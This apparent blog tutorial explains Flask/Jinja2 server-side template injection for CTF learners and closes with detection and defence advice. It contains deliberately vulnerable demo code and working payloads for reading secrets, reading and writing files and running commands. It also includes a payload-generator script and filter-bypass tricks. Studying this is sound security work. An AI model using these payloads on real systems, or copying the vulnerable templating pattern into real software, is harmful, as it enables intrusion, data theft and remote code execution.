0x01 SSTI

SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。

通常在CTF中多是以Python的Flask框架结合Jinja2的形式出现。

0x02 背景知识

Flask

Flask是一个使用Python编写的轻量级Web应用框架。其 WSGI 工具箱采用Werkzeug,模板引擎则使用Jinja2。

Jinja2

Jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。

在Jinja2中,存在三种语句:

1
2
3
控制结构 {% %}
变量取值 {{ }}
注释 {# #}

Jinja2模板中使用上述第二种的语法表示一个变量,它是一种特殊的占位符。当利用Jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,Jinja2支持Python中所有的Python数据类型比如列表、字段、对象等。被两个括号包裹的内容会输出其表达式的值。

Jinja2中的过滤器可以理解为是Jinja2里面的内置函数和字符串处理函数。

模板渲染函数

render_template()

使用render_template()方法可以渲染模板,你只要提供模板名称和需要作为参数传递给模板的变量就行了。

渲染过程如下,render_template()函数的第一个参数为渲染的目标html页面、第二个参数为需要加载到页面指定标签位置的内容,来自网上摘的一个图:

其实render_template()的功能是先引入home.html,同时根据后面传入的参数,对html进行修改渲染。

注意:当在HTML模板中在标签内传入的内容是通过如而非%s这种传参形式时,HTML自动转义默认开启。因此,如果 name 包含 HTML ,那么会被自动转义。

这里我们搭个简单的Demo瞧瞧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
return render_template("index.html", person=person)

if __name__ == "__main__":
app.run(debug=True)

然后在当前目录新建templates目录,在其中新建index.html:

1
<h2>Hello {{ person.name }}!</h2>

开启Flask服务,访问输入参数name,在页面会直接显示出来:

当尝试进行XSS时,会自动被HTML编码过滤:

render_template_string()

这个函数作用和前面的类似,顾名思义,区别在于只是第一个参数并非是文件名而是字符串。也就是说,我们不需要再在templates目录中新建HTML文件了,而是可以直接将HTML代码写到一个字符串中,然后使用该函数渲染该字符串中的HTML代码到页面即可

基于前面修改的Demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
template = '<h2>Hello {{ person.name }}!</h2>'
return render_template_string(template, person=person)

if __name__ == "__main__":
app.run(debug=True)

访问的结果和前面的一样,而且也是自动进行了HTML实体编码。

0x03 漏洞点

前面简单说了下两个模板渲染函数的原理,那么漏洞点在哪里呢?

由前面知道,要想实现模板注入,首先必须得注入模板执行语句,如:

1
2
控制结构 {% %}
变量取值 {{ }}

但是在前面两个函数的Demo中,html内容中是以这种变量取值语句的形式来处理传入的参数的,此时person.name的值无论是什么内容,都会被当作是字符串来进行处理而非模板语句来执行,比如即使传入的是config来构成,但其也只会把参数值当作是字符串而非模板语句:

既然这样,要想整个参数输入的内容被当成是模板语句来执行,就只能是通过%s这种传参形式来实现了,修改的Demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

@app.route('/login')
def hello_ssti():
person = {
'name': 'hello',
'secret': 'This_is_my_secret'
}
if request.args.get('name'):
person['name'] = request.args.get('name')
# changed
template = '<h2>Hello %s!</h2>' % person['name']
return render_template_string(template, person=person)

if __name__ == "__main__":
app.run(debug=True)

此时将换成了%s,通过传入字符串的方式传入内容,当传入恶意构造的模板语句时就会造成SSTI。

验证漏洞,传入模板变量语句3,注意加号要URL编码,当看到返回3时证明语句成功注入执行了:

这里就能得出结论了:

  • SSTI漏洞点为在render_template_string()函数中,作为模板的字符串参数中的传入参数是通过%s的形式获取而非变量取值语句的形式获取,从而导致攻击者通过构造恶意的模板语句来注入到模板中、模板解析执行了模板语句从而实现SSTI攻击;
  • SSTI漏洞风险只出现在render_template_string()函数,而render_template()函数并不存在SSTI风险,因为render_template()函数中是传入到一个模板HTML文件中,而该html文件这种的变量取值语句实现不了修改成%s这种形式的;

0x04 漏洞利用

这里Demo就拿上一小节的就好。

XSS

传入什么返回什么,第一时间想到的就是XSS。之前的变量取值语句传入时是会进行自动HTML编码的,但%s传入的参数是不会自动进行HTML编码的,因为Flask并没有将整个内容视为字符串。

敏感信息泄露

访问对应的全局变量即可直接泄露出配置文件的内容。

比如config变量:

还有Demo中secret变量:

某些情况下,当获取secret_key后,即可对session进行重新签名,完成session的伪造。

注意:Flask的session是保存在客户端,称为客户端session,会进行编码和校验。

整合一下可利用的PoC技巧:

1
2
3
4
5
?name={{config}}
?name={{person.secret}}
?name={{self.__dict__}}
?name={{url_for.__globals__['current_app'].config}}
?name={{get_flashed_messages.__globals__['current_app'].config}}

读写文件

这里需要用到Python沙箱逃逸的元素链,这里直接给出payload,具体构造过程可参考《Python沙箱逃逸小结》

读文件

这里只给个演示的poc,其他绕过类的poc参考《Python沙箱逃逸小结》构造即可:

1
2
3
4
5
6
7
# Python2
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read()}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/passwd').read()

# Python3中无file,只能用open
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/passwd').read()

写文件

这里只给个演示的poc,其他绕过类的poc参考《Python沙箱逃逸小结》构造即可:

1
2
3
4
5
6
7
# Python2
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/m7.txt','w').write('Mi1k7ea')}}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('Mi1k7ea')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('Mi1k7ea')

# Python3中无file,只能用open
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('Mi1k7ea')

命令执行

命令执行才是SSTI的重点,主要分为两种形式。

利用from_pyfile加载对象到Flask配置环境

这种利用方式算是一种简单的漏洞组合拳。

先利用文件写入漏洞写一个Python文件:

1
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/m7.py','w').write('from subprocess import check_output\nRUNCMD=check_output\n')}}

然后使用config.from_pyfile将该Python文件加载到config变量中:

1
?name={{config.from_pyfile('E:/m7.py')}}

访问全局变量config查看是否加载成功:

加载成功后,就可以通过以下形式执行任意命令了:

1
?name={{config['RUNCMD']('whoami')}}

可知,这种利用方式是直接有回显的。

利用元素链中可利用的命令执行函数

元素链的payload就很多,具体看《Python沙箱逃逸小结》来进行各种payload的构造就好,这里只给出几个简单的示例:

os.system()的利用是无回显的:

1
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('calc')}}

要想有回显,可利用如下几个:

1
2
3
4
5
6
7
8
9
# os.popen(cmd).read()
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}

# platform.popen(cmd).read()
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}}

# sys.modules间接调用前面两个模块
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['os'].popen('whoami').read()}}
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['platform'].popen('whoami').read()}}

更多的变形技巧参考《Python沙箱逃逸小结》

控制结构

当然,前面的利用都是基于Jinja2的变量取值语句,除此之外我们也可以利用控制结构来实现利用:

1
2
3
4
5
# 命令执行
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

# 文件操作
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('E:/passwd', 'r').read() }}{% endif %}{% endfor %}

针对Python3有个脚本会自动帮我们生成需要的控制结构形式的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

本地Python2运行结果:

1
2
3
4
5
Payload?[1|0]1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Decimal' %}{{ c.__new__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Decimal' %}{{ c.__new__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Template' %}{{ c.__new__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Template' %}{{ c.__new__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}

测试一下也是OK的:

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Decimal' %}{{ c.__new__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

具体在Python3的表现可自行测试。

0x05 结合Flask和Jinja2特性的沙箱逃逸技巧

这里只补充《Python沙箱逃逸小结》中没提到的关于Flask和Jinja2结合的一些沙箱逃逸技巧。

无法直接获取全局变量config

通过current_app的payload来替换config获取配置信息:

1
2
3
?name={{config}}
?name={{url_for.__globals__['current_app'].config}}
?name={{get_flashed_messages.__globals__['current_app'].config}}

过滤引号

request.args是Flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤:

1
?name={{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=e:/passwd

过滤双下划线

同样是利用Flask的request.args属性来绕过:

1
?name={{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('E:/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__

当然,也可以将其中的request.args改为request.values,利用post的方式进行传参:

1
2
3
4
POST /login?name={{''[request.values.class][request.values.mro][2][request.values.subclasses]()[40]('E:/passwd').read()}} HTTP/1.1
...

class=__class__&mro=__mro__&subclasses=__subclasses__

0x06 检测与防御

检测方法

在Flask工程中全局搜索是否有使用render_template_string()函数,若存在则进一步判断该函数的第一个参数的值获取需要渲染的内容的输入形式,若为变量取值语句的形式则不存在SSTI漏洞,若为%s传入需渲染的内容的形式则存在SSTI漏洞。

防御方法

  • 尽量使用render_template()函数而非render_template_string()函数;
  • 使用render_template_string()函数时,传入需渲染的内容参数时必须采用变量取值语句的形式,禁止使用%s的传参形式进行传参;

0x07 参考

浅析SSTI(python沙盒绕过)

python-flask-ssti(模版注入漏洞)

python 沙箱逃逸